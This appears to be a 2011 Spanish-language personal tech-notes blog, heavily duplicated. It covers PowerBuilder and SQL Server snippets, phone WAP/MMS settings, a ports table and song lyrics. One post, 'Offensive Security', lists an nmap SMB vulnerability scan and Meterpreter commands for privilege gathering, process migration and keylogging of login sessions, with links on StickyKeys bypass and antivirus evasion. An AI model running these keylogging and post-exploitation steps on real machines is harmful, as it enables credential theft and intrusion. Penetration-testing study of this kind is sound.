Agregar en el archivo web.config lo siguiente:
<pages enableviewstatemac="false">
<pages enableviewstatemac="false">
Friday, September 02, 2011
Tuesday, August 30, 2011
Bakup SQL Server 2008 to SQL Server 2005
http://www.hyper-v-mart.com/HowTo/Convert_SQL_Server_2008_to_SQL_Server_2005.aspx
Resources:
[1]Microsoft SQL Server 2005 Express Edition Toolkit (223.9 MB)
http://go.microsoft.com/fwlink/?LinkId=65111
Resources:
[1]Microsoft SQL Server 2005 Express Edition Toolkit (223.9 MB)
http://go.microsoft.com/fwlink/?LinkId=65111
Saturday, August 20, 2011
Wednesday, August 10, 2011
Power Builder::Tips
DropDown ListBox
http://kell-developer.blogspot.com/2009/09/cargar-una-tabla-un-dropdownlistbox-de.html
Clear datawindow
long ll_i, ll_rc
ll_rc = dw_1.RowCount()
for ll_i = 1 to ll_rc
dw_1.deleterow(1)
next
dw_1.AcceptText()
dw_1.Update(True, True)
--or--
dw_1.Reset() //will never delete the rows from DB, It will just clear the datawindow buffers.
Work with dates
========================================================
dt_today = today()
li_maand = month(dt_today )
li_jaar = year(dt_today )
li_dag = day(dt_today )
apply filter
========================================================
ls_filtro = "columna1 > 100 and columna2 > 30"
dw_1.SetFilter(ls_filtro)
dw_1.Filter( )
references
[0] http://powerbuilder-undiaalavez.blogspot.com/
[1] Tutorial Power Builder 9.0 http://edyovando.galeon.com/INICIO.HTML
[2] Trucos datawin
http://infolenguajes.galeon.com/datawin.htm
[3] http://kell-developer.blogspot.com/2009/09/cargar-una-tabla-un-dropdownlistbox-de.html
[4] List of Functions Available in Datawindow Expressions
http://pbbraindump.wordpress.com/2008/05/15/list-of-functions-available-in-datawindow-expressions/
[5] http://solocodigofuente.com/ejemplos-de-codigo-fuente-en-visual-basic-net/uso-del-control-dropdownlistbox-listbox-listview-de-power-builder/
[6] http://powerbuilder-undiaalavez.blogspot.com/2011_02_01_archive.html
http://ingpcastillo.com/personal/Manual/MANUAL_DE_POWER_BUILDER.pdf
http://sergioor.blogspot.com/2008/02/funciones-principales-de-un-datawindows.html
http://www.todoexpertos.com/categorias/tecnologia-e-internet/programacion/power-builder/respuestas/2317534/datawindows-avanzado
http://sergioor.blogspot.com/2008/02/funciones-principales-de-un-datawindows.html
http://es.scribd.com/doc/6878574/Powerbuilderuso-de-Cursores
http://groups.google.com/group/sybase.public.powerbuilder.database/browse_thread/thread/159c2bf7ef4f114e?pli=1
http://kell-developer.blogspot.com/2009/09/cargar-una-tabla-un-dropdownlistbox-de.html
Clear datawindow
long ll_i, ll_rc
ll_rc = dw_1.RowCount()
for ll_i = 1 to ll_rc
dw_1.deleterow(1)
next
dw_1.AcceptText()
dw_1.Update(True, True)
--or--
dw_1.Reset() //will never delete the rows from DB, It will just clear the datawindow buffers.
Work with dates
========================================================
dt_today = today()
li_maand = month(dt_today )
li_jaar = year(dt_today )
li_dag = day(dt_today )
apply filter
========================================================
ls_filtro = "columna1 > 100 and columna2 > 30"
dw_1.SetFilter(ls_filtro)
dw_1.Filter( )
references
[0] http://powerbuilder-undiaalavez.blogspot.com/
[1] Tutorial Power Builder 9.0 http://edyovando.galeon.com/INICIO.HTML
[2] Trucos datawin
http://infolenguajes.galeon.com/datawin.htm
[3] http://kell-developer.blogspot.com/2009/09/cargar-una-tabla-un-dropdownlistbox-de.html
[4] List of Functions Available in Datawindow Expressions
http://pbbraindump.wordpress.com/2008/05/15/list-of-functions-available-in-datawindow-expressions/
[5] http://solocodigofuente.com/ejemplos-de-codigo-fuente-en-visual-basic-net/uso-del-control-dropdownlistbox-listbox-listview-de-power-builder/
[6] http://powerbuilder-undiaalavez.blogspot.com/2011_02_01_archive.html
http://ingpcastillo.com/personal/Manual/MANUAL_DE_POWER_BUILDER.pdf
http://sergioor.blogspot.com/2008/02/funciones-principales-de-un-datawindows.html
http://www.todoexpertos.com/categorias/tecnologia-e-internet/programacion/power-builder/respuestas/2317534/datawindows-avanzado
http://sergioor.blogspot.com/2008/02/funciones-principales-de-un-datawindows.html
http://es.scribd.com/doc/6878574/Powerbuilderuso-de-Cursores
http://groups.google.com/group/sybase.public.powerbuilder.database/browse_thread/thread/159c2bf7ef4f114e?pli=1
Friday, August 05, 2011
SQL Server::Collation
SQL Server::Identificar versión y edición
Cómo determinar la versión de SQL Server
SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY ('productlevel'), SERVERPROPERTY ('edition')
SELECT @@VERSION
SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY ('productlevel'), SERVERPROPERTY ('edition')
SELECT @@VERSION
Friday, July 22, 2011
Wednesday, July 20, 2011
Obtener operador al cual pertenece el número telefónico (fijo)
Obtener operador al cual pertenece el número telefónico (fijo)
Lima
http://www.mtc.gob.pe/portal/comunicacion/concesion/registros/numeracion/fija/lima.pdf
Provincias
http://www.mtc.gob.pe/portal/comunicacion/concesion/registros/numeracion/fija/prov.pdf
Obtener cantidad de numeros por DNI (Claro moviles)
http://www.claro.com.pe/wps/portal/pe/pc/hogar/movil/prepago
Lima
http://www.mtc.gob.pe/portal/comunicacion/concesion/registros/numeracion/fija/lima.pdf
Provincias
http://www.mtc.gob.pe/portal/comunicacion/concesion/registros/numeracion/fija/prov.pdf
Obtener cantidad de numeros por DNI (Claro moviles)
http://www.claro.com.pe/wps/portal/pe/pc/hogar/movil/prepago
Saturday, July 16, 2011
Wednesday, July 13, 2011
php photo gallery::without database
http://phpgraphy.sourceforge.net/
http://www.sgal.org/
http://sourceforge.net/projects/ifoto/
http://yapig.sourceforge.net/
http://qdig.sourceforge.net/
http://www.sgal.org/
http://sourceforge.net/projects/ifoto/
http://yapig.sourceforge.net/
http://qdig.sourceforge.net/
Tuesday, July 12, 2011
Remove Administrator Password on Windows (Remover contraseña de Administrador)
Thursday, July 07, 2011
Tuesday, June 28, 2011
C.C. Catch::You Shot A Hole In My Soul
He's a midnight dream romancer
He's the only lonely dancer
Oh, only love breaks my heart
He's the nearest thing to heaven
Stole my heart and tried to say then
Oh, only love breaks my heart
You shot a hole in my soul
It's the kind out of love I know
You shot a hole in my soul
Hold on tight, don't let go
You get always what you want from me
You can make it easy, can't you see
You shot a hole, hole, hole
Hole in my soul
Dreams go on forever and ever
Good things do not last forever
Heaven can wait but I can't
But I'd do it once again, babe
I think tomorrow it's too late, babe
Oh, only love breaks my heart
He's the only lonely dancer
Oh, only love breaks my heart
He's the nearest thing to heaven
Stole my heart and tried to say then
Oh, only love breaks my heart
You shot a hole in my soul
It's the kind out of love I know
You shot a hole in my soul
Hold on tight, don't let go
You get always what you want from me
You can make it easy, can't you see
You shot a hole, hole, hole
Hole in my soul
Dreams go on forever and ever
Good things do not last forever
Heaven can wait but I can't
But I'd do it once again, babe
I think tomorrow it's too late, babe
Oh, only love breaks my heart
Monday, June 27, 2011
Monday, June 20, 2011
W810::Habilitar MMS y WAP
Primero:
Menú--> Ajustes--> Conectividad --> Comunic. de datos--> Cuentas de datos--> Nueva cuenta--> Datos GPRS--> Nombre: WAP GPRS
APN: wap.claro.pe
Nombre de usuario: claro
Contraseña: claro
(GUARDAR)
Segundo:
Menú--> Ajustes--> Conectividad--> Ajustes Internet--> Perfiles Internet--> Nuevo perfil-->
Nombre: Claro WAP
Conectar usando: (seleccionas la cuenta que creaste) WAP GPRS
(GUARDAR)
Tercero:
Seleccionas el perfil que creaste (Claro WAP) y le das MÁS. Luego seleccionas AJUSTES.
Verificas que en Uso de Proxy diga SI
Dirección de proxy: 192.168.231.30
Número de puerto: 80 //por defecto es 8080 me imagino que se quedaria asi si es que el tipo de navegación fuera http
(GUARDAR)
Para que esté activo el perfil recuerda de “seleccionarlo”.
Configuracion MMS
Primero:
Menú--> Ajustes--> Conectividad--> Comunic. de datos--> Cuentas de datos--> Nueva cuenta--> Datos GPRS--> Nombre: MMS GPRS
APN: mms.claro.pe
Nombre de usuario: claro
Contraseña:claro
(GUARDAR)
Segundo:
Menú--> Ajustes--> Conectividad--> Ajustes Internet--> Perfiles Internet--> Nuevo perfil-->
Nombre: Claro MMS
Conectar usando: (seleccionas la cuenta que creaste) MMS GPRS
(GUARDAR)
Tercero:
Seleccionas el perfil que creaste (Claro MMS) y le das MÁS. Luego AJUSTES.
Verificas que en Uso de Proxy diga SI
Dirección de proxy: 213.26.205.1
Número de puerto: 80
(GUARDAR)
Menú--> Mensajes--> Ajustes--> Msj con imagen--> Perfil MMS--> Nuevo perfil-->
Nombre Perfil MMS: Multimedia
Servidor de msjs: http://claro/servlets/mms
Perfil de internet: Claro MMS
(GUARDAR)
Referencias:
http://www.topsony.com/forum_es/general-f96/configuracion-wap-y-mms-para-claro-peru-t14503.html
Menú--> Ajustes--> Conectividad --> Comunic. de datos--> Cuentas de datos--> Nueva cuenta--> Datos GPRS--> Nombre: WAP GPRS
APN: wap.claro.pe
Nombre de usuario: claro
Contraseña: claro
(GUARDAR)
Segundo:
Menú--> Ajustes--> Conectividad--> Ajustes Internet--> Perfiles Internet--> Nuevo perfil-->
Nombre: Claro WAP
Conectar usando: (seleccionas la cuenta que creaste) WAP GPRS
(GUARDAR)
Tercero:
Seleccionas el perfil que creaste (Claro WAP) y le das MÁS. Luego seleccionas AJUSTES.
Verificas que en Uso de Proxy diga SI
Dirección de proxy: 192.168.231.30
Número de puerto: 80 //por defecto es 8080 me imagino que se quedaria asi si es que el tipo de navegación fuera http
(GUARDAR)
Para que esté activo el perfil recuerda de “seleccionarlo”.
Configuracion MMS
Primero:
Menú--> Ajustes--> Conectividad--> Comunic. de datos--> Cuentas de datos--> Nueva cuenta--> Datos GPRS--> Nombre: MMS GPRS
APN: mms.claro.pe
Nombre de usuario: claro
Contraseña:claro
(GUARDAR)
Segundo:
Menú--> Ajustes--> Conectividad--> Ajustes Internet--> Perfiles Internet--> Nuevo perfil-->
Nombre: Claro MMS
Conectar usando: (seleccionas la cuenta que creaste) MMS GPRS
(GUARDAR)
Tercero:
Seleccionas el perfil que creaste (Claro MMS) y le das MÁS. Luego AJUSTES.
Verificas que en Uso de Proxy diga SI
Dirección de proxy: 213.26.205.1
Número de puerto: 80
(GUARDAR)
Menú--> Mensajes--> Ajustes--> Msj con imagen--> Perfil MMS--> Nuevo perfil-->
Nombre Perfil MMS: Multimedia
Servidor de msjs: http://claro/servlets/mms
Perfil de internet: Claro MMS
(GUARDAR)
Referencias:
http://www.topsony.com/forum_es/general-f96/configuracion-wap-y-mms-para-claro-peru-t14503.html
Wednesday, June 15, 2011
Declaraciones SUNAT
https://www.sunat.gob.pe/cl-ta-itmenuagrupa/MenuInternet.htm
Referencias:
Como Instalar http://www.youtube.com/watch?v=y8XDcjIsQTY
Registrar declarante http://www.youtube.com/watch?v=wpTEHxaIFB8
Declarar IGV http://www.youtube.com/watch?v=lu1Z03zlL0g&feature=related
Referencias:
Como Instalar http://www.youtube.com/watch?v=y8XDcjIsQTY
Registrar declarante http://www.youtube.com/watch?v=wpTEHxaIFB8
Declarar IGV http://www.youtube.com/watch?v=lu1Z03zlL0g&feature=related
Tuesday, June 14, 2011
Monday, June 13, 2011
Offensive Security
Verify
nmap -sV -PN -p 445,137,139 --script=smb-check-vulns.nse
Meterpreter common commands
meterpreter > getprivs
meterpreter > migrate 2976
meterpreter > bglist
meterpreter > use -l
meterpreter > ?
meterpreter > bgrun keylogrecorder -c 1 -t 15
meterpreter> run keylogrecorder -c 1 -l -t 5
-c 1 to record a login session, "-l" to force logoff, and "-t 5" to deliver the keystrokes every 5 sec.
Basic meterpreter
Meterpreter Cllient commands
http://en.wikibooks.org/wiki/Metasploit/MeterpreterClient
Vulnerabilidad StickyKeys (sethc.exe)
http://foro.infiernohacker.com/index.php?topic=1867.0
Tools
http://www.md5decrypter.co.uk/
REG
http://ss64.com/nt/reg.html
Meterpreter REG
http://carnal0wnage.attackresearch.com/2007/06/defating-nod32-av.html
examples:
[1] Keylogging
http://www.offensive-security.com/metasploit-unleashed/Keylogging
[2] http://tekjournal.wordpress.com/2011/01/08/login-keystroke-recording/
[3] http://pctechtips.org/metasploit-getting-user-password-with-keylogrecorder/
[4] http://www.offensive-security.com/metasploit-unleashed/Meterpreter_Screen_Capture
[5] http://exploit.co.il/hacking/screenspy-meterpreter-script-review/
modules:
http://www.metasploit.com/modules/auxiliary/analyze/jtr_crack_fast
references:
[1] http://www.blueliv.com/downloads/Meterpreter_cheat_sheet_v0.1.pdf
[2] http://www.question-defense.com/2009/12/21/getting-started-with-meterpreter
[3] Custom exploit
http://www.pentester.es/2009/11/por-que-no-consigo-shell-con-mi.html
nmap -sV -PN
Meterpreter common commands
meterpreter > getprivs
meterpreter > migrate 2976
meterpreter > bglist
meterpreter > use -l
meterpreter > ?
meterpreter > bgrun keylogrecorder -c 1 -t 15
meterpreter> run keylogrecorder -c 1 -l -t 5
-c 1 to record a login session, "-l" to force logoff, and "-t 5" to deliver the keystrokes every 5 sec.
Basic meterpreter
Meterpreter Cllient commands
http://en.wikibooks.org/wiki/Metasploit/MeterpreterClient
Vulnerabilidad StickyKeys (sethc.exe)
http://foro.infiernohacker.com/index.php?topic=1867.0
Tools
http://www.md5decrypter.co.uk/
REG
http://ss64.com/nt/reg.html
Meterpreter REG
http://carnal0wnage.attackresearch.com/2007/06/defating-nod32-av.html
examples:
[1] Keylogging
http://www.offensive-security.com/metasploit-unleashed/Keylogging
[2] http://tekjournal.wordpress.com/2011/01/08/login-keystroke-recording/
[3] http://pctechtips.org/metasploit-getting-user-password-with-keylogrecorder/
[4] http://www.offensive-security.com/metasploit-unleashed/Meterpreter_Screen_Capture
[5] http://exploit.co.il/hacking/screenspy-meterpreter-script-review/
modules:
http://www.metasploit.com/modules/auxiliary/analyze/jtr_crack_fast
references:
[1] http://www.blueliv.com/downloads/Meterpreter_cheat_sheet_v0.1.pdf
[2] http://www.question-defense.com/2009/12/21/getting-started-with-meterpreter
[3] Custom exploit
http://www.pentester.es/2009/11/por-que-no-consigo-shell-con-mi.html
Thursday, June 09, 2011
Tuesday, June 07, 2011
Windows::Network commands(cmd)
net user
net user guest
net user invitado
To enable the Guest account for network access:
net user guest /active:yes
net user invitado /active:yes
To disable the Guest account for network access:
net user guest /active:no
net user invitado /active:no
netstat
References
[1] netstat http://commandwindows.com/netstat.htm
net user guest
net user invitado
To enable the Guest account for network access:
net user guest /active:yes
net user invitado /active:yes
To disable the Guest account for network access:
net user guest /active:no
net user invitado /active:no
netstat
References
[1] netstat http://commandwindows.com/netstat.htm
SQL Server::SQLCMD
cd C:\Archivos de programa\Microsoft SQL Server\100\Tools\Binn
C:..>SQLCMD -s 192.168.1.30 -U sa -P pass
sp_databases
use
sp_help tablename
select * from SYSOBJECTS where TYPE = 'U' order by NAME
references:
[1] http://msdn.microsoft.com/en-us/library/ms180944.aspx
[2] http://msdn.microsoft.com/en-us/library/ms165702.aspx
C:..>SQLCMD -s 192.168.1.30 -U sa -P pass
sp_databases
use
sp_help tablename
select * from SYSOBJECTS where TYPE = 'U' order by NAME
references:
[1] http://msdn.microsoft.com/en-us/library/ms180944.aspx
[2] http://msdn.microsoft.com/en-us/library/ms165702.aspx
Monday, June 06, 2011
Wednesday, June 01, 2011
Hiren's BootUSB
1. Download USB Disk Storage Format
2. Download Grub4Dos Installer
3.Run USB Disk Storage Format
4.Run Grub4Dos Installer
4.1 Disk
4.2 Refresh
4.3 While disk (MBR)
4.4 Install
5. Copy grldr and menu.lst (from HBCD folder) to the usb drive
6. Copy everything from CD(Hiren's BootCD) to USB Drive
7. reboot
References:
[1] Download iso http://www.hirensbootcd.org/download/
[2] http://www.hiren.info/pages/bootcd-on-usb-disk
2. Download Grub4Dos Installer
3.Run USB Disk Storage Format
4.Run Grub4Dos Installer
4.1 Disk
4.2 Refresh
4.3 While disk (MBR)
4.4 Install
5. Copy grldr and menu.lst (from HBCD folder) to the usb drive
6. Copy everything from CD(Hiren's BootCD) to USB Drive
7. reboot
References:
[1] Download iso http://www.hirensbootcd.org/download/
[2] http://www.hiren.info/pages/bootcd-on-usb-disk
Default Ports
Puerto | Desc. | Estado | Observaciones |
20 | FTP | cerrado | Utilizado por FTP |
21 | FTP | cerrado | Utilizado por FTP |
22 | SSH | abierto | Secure Shell. |
23 | TELNET | cerrado | Acceso remoto |
25 | SMTP | cerrado | Servidor de correo SMTP |
53 | DNS | cerrado | Servidor DNS |
79 | FINGER | cerrado | Servidor de información de usuarios de un PC |
80 | HTTP | abierto | Servidor web |
110 | POP3 | cerrado | Servidor de correo POP3 |
119 | NNTP | cerrado | Servidor de noticias |
135 | DCOM-scm | cerrado | Solo se puede cerrar a través de un cortafuegos |
139 | NETBIOS | cerrado | Compartición de Ficheros a través de una red |
143 | IMAP | cerrado | Servidor de correo IMAP |
389 | LDAP | cerrado | LDAP. Tambien Puede ser utilizado por Neetmeting |
443 | HTTPS | cerrado | Servidor web seguro |
445 | MSFT DS | cerrado | Server Message Block. |
631 | IPP | cerrado | Servidor de Impresion |
1433 | MS SQL | cerrado | Base de Datos de Microsoft |
3306 | MYSQL | cerrado | Base de Datos. MYSQL |
5000 | UPnP | cerrado | En windows está activado este puerto por defecto. |
Subscribe to:
Posts (Atom)
-
Resources: [1] Hela https://ome.grc.nia.nih.gov/iicbu2008/hela/index.html
-
en inglés se llama “A potentially dangerous Request.Form value was detected from the client”. varias páginas indican dos cosas: 1. agrega...
-
mas plugins http://devsnippets.com/reviews/using-jquery-to-style-design-elements-20-impressive-plugins.html http://www.extjs.com/deploy/dev/...
Odoo 17 - Custom adds
[1] Diario/Seq https://apps.odoo.com/apps/modules/17.0/sequence_for_journal